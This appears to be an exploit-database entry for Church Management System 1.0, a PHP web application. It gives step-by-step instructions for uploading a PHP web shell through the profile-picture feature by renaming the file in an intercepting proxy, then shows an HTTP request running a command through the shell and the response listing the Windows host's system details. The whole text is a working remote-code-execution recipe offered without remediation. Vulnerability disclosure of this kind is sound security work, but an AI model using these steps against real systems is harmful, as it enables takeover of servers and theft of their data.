Church Management System 1.0 – Arbitrary File Upload (Authenticated)
# Exploit Title: Church Management System 1.0 - Unrestricted File Upload to Remote Code Execution (Authenticated) # Date: 07/03/2021 # Exploit Author: Murat DEMIRCI (@butterflyhunt3r) # Vendor Homepage: https://www.sourcecodester.com # Software Link: https://www.sourcecodester.com/php/11206/church-management-system.html # Version: 1.0 # Tested on: Windows 10 # CVE : N/A # Proof of Concept : 1- Login any user account and change profile picture. 2- Upload any php shell by altering it's extension to .jpg or .png. (i.e test.php.jpg) 3- Before uploading your file, intercept your traffic by using any proxy. 4- Change test.php.jpg file to test.php and click forward. 5- Find your test.php file path and try any command. ###################### REQUEST ########################################## GET /cman/members/uploads/test.php?cmd=SYSTEMINFO HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0 Accept: image/webp,*/* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Referer: http://localhost/cman/members/dashboard.php Cookie: PHPSESSID=cne8l4ct93krjqobdus7nv2sjc ####################### RESPONSE ######################################### HTTP/1.1 200 OK Date: Sat, 03 Jul 2021 11:28:16 GMT Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/8.0.3 X-Powered-By: PHP/8.0.3 Content-Length: 4410 Connection: close Content-Type: text/html; charset=UTF-8 Host Name: MRT OS Name: Microsoft Windows 10 Pro OS Version: 10.0.19043 N/A Build 19043 OS Manufacturer: Microsoft Corporation OS Configuration: Standalone Workstation OS Build Type: Multiprocessor Free Registered Owner: Murat System Boot Time: 6/25/2021, 2:51:40 PM System Manufacturer: Dell Inc. System Type: x64-based PC Processor(s): 1 Processor(s) Installed. ############################################################################ |